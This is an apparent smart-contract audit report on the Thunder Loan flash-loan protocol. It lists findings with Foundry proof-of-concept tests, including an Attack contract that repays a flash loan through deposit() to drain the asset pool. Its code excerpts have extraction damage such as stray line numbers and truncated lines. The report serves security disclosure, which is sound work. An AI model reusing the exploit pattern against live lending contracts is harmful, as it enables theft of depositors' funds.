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Protocol Summary

The Thunder Loan protocol is meant to do the following:

- 1. Give users a way to create flash loans
- 2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into Thunder Loan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current Thunder Loan contract to the Thunder Loan Upgraded contract. Please include this upgrade in scope of a security review.

Disclaimer

The Shurjeel Khan makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

| | | Impact | | |
|------------|--------|--------|--------|-----|
| | | High | Medium | Low |
| Likelihood | High | Н | H/M | М |
| | Medium | H/M | М | M/L |
| | Low | М | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
1 #-- interfaces
2 | #-- IFlashLoanReceiver.sol
3 | #-- IPoolFactory.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

| Severity | Number of issues found | |
|----------|------------------------|--|
| High | 3 | |
| Medium | 2 | |
| Low | 3 | |
| Info | 1 | |
| Gas | 0 | |
| Total | 9 | |

Findings

High

[H-1] Erroneous Thunder Loan: : updateExchangeRate in the deposit function cause protocol to think it has more fees than it actually does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the exchangeRate function is responsible for calculating the exchange rate between assetToken and Underlying token.

However, the deposit function does updates this rate, without collecting the fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
           AssetToken assetToken = s_tokenToAssetToken[token];
           uint256 exchangeRate = assetToken.getExchangeRate();
3
           uint256 mintAmount = (amount * assetToken.
4
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5
           emit Deposit(msg.sender, token, amount);
           assetToken.mint(msg.sender, mintAmount);
6
7
           // @audit high we shouldn't be updating the exchange rate here!
8
9 @>
            uint256 calculatedFee = getCalculatedFee(token, amount);
10 a>
            assetToken.updateExchangeRate(calculatedFee);
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
12
       }
13
```

Impact:

- 1. The redeem function is blocked, the protocol thinks the owed token is more than it has.
- 2. Rewards are incorrectly calculated, leading to liquidity providers getting way more or less then deserves

Proof of Concept:

POC

Place the following the ThunderLoanTest.t.sol

```
1 function testRedeem() public setAllowedToken hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
3
           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
4
           vm.startPrank(user);
5
           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
6
              amountToBorrow, "");
7
           vm.stopPrank();
8
9
           uint256 amountToRedeem = type(uint256).max;
           vm.startPrank(liquidityProvider);
           thunderLoan.redeem(tokenA, amountToRedeem);
12
       }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate line in the deposit

```
uint256 exchangeRate = assetToken.getExchangeRate();
           uint256 mintAmount = (amount * assetToken.
4
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
           emit Deposit(msg.sender, token, amount);
           assetToken.mint(msg.sender, mintAmount);
6
7
8
           // @audit high we shouldn't be updating the exchange rate here!
           uint256 calculatedFee = getCalculatedFee(token, amount);
9 -
10 -
            assetToken.updateExchangeRate(calculatedFee);
11
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
13
       }
```

[H-2] All the funds can be stolen if the flash loan is returned using deposit()

Summary An attacker can acquire a flash loan and deposit funds directly into the contract using the **deposit()**, enabling stealing all the funds.

Vulnerability Details The **flashloan()** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **endingBalance** with **startingBalance** + **fee**. However, a vulnerability emerges when calculating endingBalance using **token.balanceOf(address(assetToken))**.

Exploiting this vulnerability, an attacker can return the flash loan using the **deposit()** instead of **repay()**. This action allows the attacker to mint **AssetToken** and subsequently redeem it using **redeem()**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

POC

To execute the test successfully, please complete the following steps:

- 1. Place the **attack.sol** file within the mocks folder.
- 2. Import the contract in **ThunderLoanTest.t.sol**.
- 3. Add testattack() function in ThunderLoanTest.t.sol.
- 4. Change the **setUp()** function in **ThunderLoanTest.t.sol**.

```
1 import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
3
           vm.startPrank(user);
           tokenA.mint(address(attack), AMOUNT);
4
5
           thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
           attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
6
              tokenA)));
           thunderLoan.redeem(tokenA, type(uint256).max);
7
           vm.stopPrank();
8
9
           assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken
              (tokenA))), DEPOSIT_AMOUNT);
       }
11
```

attack.sol

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4
  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
  import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
       SafeERC20.sol";
6 import { IFlashLoanReceiver } from "../../src/interfaces/
      IFlashLoanReceiver.sol";
7
8 interface IThunderLoan {
9
       function repay(address token, uint256 amount) external;
10
       function deposit(IERC20 token, uint256 amount) external;
       function getAssetFromToken(IERC20 token) external;
12 }
14
15 contract Attack {
       error MockFlashLoanReceiver__onlyOwner();
       error MockFlashLoanReceiver__onlyThunderLoan();
18
19
       using SafeERC20 for IERC20;
20
21
       address s_owner;
```

```
22
       address s_thunderLoan;
23
24
       uint256 s_balanceDuringFlashLoan;
25
       uint256 s_balanceAfterFlashLoan;
27
       constructor(address thunderLoan) {
28
            s_owner = msg.sender;
29
            s_thunderLoan = thunderLoan;
            s_balanceDuringFlashLoan = 0;
31
       }
       function executeOperation(
            address token,
34
            uint256 amount,
            uint256 fee,
            address initiator,
38
            bytes calldata /* params */
       )
40
            external
41
           returns (bool)
42
43
            s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
               ));
44
45
            if (initiator != s_owner) {
46
                revert MockFlashLoanReceiver__onlyOwner();
47
            }
48
49
            if (msg.sender != s_thunderLoan) {
                revert MockFlashLoanReceiver__onlyThunderLoan();
51
52
           IERC20(token).approve(s_thunderLoan, amount + fee);
            IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee
53
            s balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
54
               );
            return true;
       }
57
58
       function getbalanceDuring() external view returns (uint256) {
            return s_balanceDuringFlashLoan;
60
       }
61
       function getBalanceAfter() external view returns (uint256) {
62
63
            return s_balanceAfterFlashLoan;
       }
64
65
       function sendAssetToken(address assetToken) public {
67
            IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).
               balanceOf(address(this)));
```

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```
69 }
70 }
```

Notice that the **assetLt()** checks whether the balance of the AssetToken contract is less than the **DEPOSIT_AMOUNT**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

Impact

All the funds of the AssetContract can be stolen.

Tools Used

Manual review.

Recommendations

Add a check in **deposit()** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **flashloan()** and checking it in **deposit()**.

[H-3] Storage Collision during upgrade

Description: Thunderloan.sol at slot 1,2 and 3 holds s_feePrecision, s_flashLoanFee and s_currentlyFlashLoaning, respectively, but the ThunderLoanUpgraded at slot 1 and 2 holds s_flashLoanFee, s_currentlyFlashLoaning respectively. the s_feePrecision from the thunderloan.sol was changed to a constant variable which will no longer be assessed from the state variable. This will cause the location at which the upgraded version will be pointing to for some significant state variables like s_flashLoanFee to be wrong because s_flashLoanFee is now pointing to the slot of the s_feePrecision in the thunderloan.sol and when this fee is used to compute the fee for flashloan it will return a fee amount greater than the intention of the developer. s_currentlyFlashLoaning might not really be affected as it is back to default when a flashloan is completed but still to be noted that the value at that slot can be cleared to be on a safer side.

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee

uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Impact:

- 1. Fee is miscalculated for flashloan
- 2. users pay same amount of what they borrowed as fee

Proof of Concept:

Proof of Code

Place the following into ThunderLoanTest.t.sol

```
import { ThunderLoanUpgraded } from "src/upgradedProtocol/
      ThunderLoanUpgraded.sol";
2
3
4
5
6 function testUpgradeBreaks() public {
7
           uint256 feeBeforeUpgrade = thunderLoan.getFee();
           vm.startPrank(thunderLoan.owner());
8
9
           ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
           thunderLoan.upgradeToAndCall(address(upgraded), "");
           uint256 feeAfterUpgrade = thunderLoan.getFee();
11
12
           console2.log("Before upgrade: ", feeBeforeUpgrade);
13
           console2.log("After upgrade: ", feeAfterUpgrade);
14
           assert(feeBeforeUpgrade != feeAfterUpgrade);
16
17
       }
```

Recommended Mitigation:

The team should should make sure the fee is pointing to the correct location as intended by the developer: a suggestion recommendation is for the team to get the feeValue from the previous implementation, clear the values that will not be needed again and after upgrade reset the fee back to its previous value from the implementation. ##POC for recommendation

```
function upgradeThunderloanFixed() internal {
2
3
          thunderLoanUpgraded = new ThunderLoanUpgraded();
4
           //getting the current fee;
5
           uint fee = thunderLoan.getFee();
6
           // clear the fee as
           thunderLoan.updateFlashLoanFee(0);
           // upgrade to the new implementation
8
9
           thunderLoan.upgradeTo(address(thunderLoanUpgraded));
           //wrapped the abi
11
           thunderLoanUpgraded = ThunderLoanUpgraded(address(proxy));
12
           // set the fee back to the correct value
13
           thunderLoanUpgraded.updateFlashLoanFee(fee);
```

```
14
       }
15
17
   function testSlotValuesFixedfterUpgrade() public setAllowedToken {
18
19
           AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
20
           uint precision = thunderLoan.getFeePrecision();
21
           uint fee = thunderLoan.getFee();
           bool isflanshloaning = thunderLoan.isCurrentlyFlashLoaning(
               tokenA);
23
           /// 4 slots before upgrade
           console.log("????SLOTS VALUE BEFORE UPGRADE????");
24
           console.log("slot 0 for s_tokenToAssetToken =>", address(asset)
               );
           console.log("slot 1 for s_feePrecision =>", precision);
           console.log("slot 2 for s_flashLoanFee =>", fee);
27
           console.log("slot 3 for s_currentlyFlashLoaning =>",
               isflanshloaning);
           //upgrade function
           upgradeThunderloanFixed();
           //// after upgrade they are only 3 valid slot left because
               precision is now set to constant
33
           AssetToken assetUpgrade = thunderLoan.getAssetFromToken(tokenA)
34
           uint feeUpgrade = thunderLoan.getFee();
           bool isflanshloaningUpgrade = thunderLoan.
               isCurrentlyFlashLoaning(
               tokenA
           );
38
           console.log("????SLOTS VALUE After UPGRADE????");
40
           console.log("slot 0 for s_tokenToAssetToken =>", address(
               assetUpgrade));
           console.log("slot 1 for s_flashLoanFee =>", feeUpgrade);
41
           console.log(
42
43
               "slot 2 for s_currentlyFlashLoaning =>",
               isflanshloaningUpgrade
44
45
           );
           assertEq(address(asset), address(assetUpgrade));
46
47
           //asserting precision value before upgrade to be what fee takes
                after upgrades
48
           assertEq(fee, feeUpgrade); // #POC
49
           assertEq(isflanshloaning, isflanshloaningUpgrade);
       }
```

Add the code above to thunderloantest.t.sol and run with forge test --mt testSlotValuesFixedfterUpg -vv. it can also be tested with testFlashLoanAfterUpgrade function and see the fee properly calculated for flashloan

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

- 1. User takes a flash loan from Thunder Loan for 1000 token A. They are charged the original fee fee1. During the flash loan, they do the following:
 - 1. User sells 1000 tokenA, tanking the price.
 - 2. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.
 - 1. Due to the fact that the way Thunder Loan calculates price based on the TSwapPool this second flash loan is substantially cheaper.

```
1 3. The user then repays the first flash loan, and then repays the second flash loan.
```

I have created a proof of code located in my audit-data folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

Contralized owners can brick redemptions by disapproving of a specific token

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 261: function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11: function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
1 File: src/protocol/ThunderLoan.sol
2
```

[L-3] Missing critial event emissions

Description: When the ThunderLoan::s_flashLoanFee is updated, there is no event emitted

Recommended Mitigation: Emit an event when the ThunderLoan::s_flashLoanFee is updated.

```
event FlashLoanFeeUpdated(uint256 newFee);
2
3 .
4 .
     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
          if (newFee > s_feePrecision) {
6
              revert ThunderLoan__BadNewFee();
7
8
9
          s_flashLoanFee = newFee;
          emit FlashLoanFeeUpdated(newFee);
10 +
11
       }
```

Informational

[I-1] Poor Test Coverage

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```
6 | src/protocol/ThunderLoan.sol | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16) | 71.43% (10/14) |
```

- [I-2] Not using __gap [50] for future storage collision mitigation
- [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
- [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Gas

[GAS-1] Using bools for storage incurs overhead

Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from "false" to "true", after having been "true" in the past. See source.

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 98: mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
1 File: src/protocol/AssetToken.sol
2
3 25: uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In AssetToken::updateExchangeRate, after writing the newExchangeRate to storage, the function reads the value from storage again to log it in the ExchangeRateUpdated event.

To avoid the unnecessary SLOAD, you can log the value of newExchangeRate.

```
s_exchangeRate = newExchangeRate;
  - emit ExchangeRateUpdated(s_exchangeRate);
  + emit ExchangeRateUpdated(newExchangeRate);
```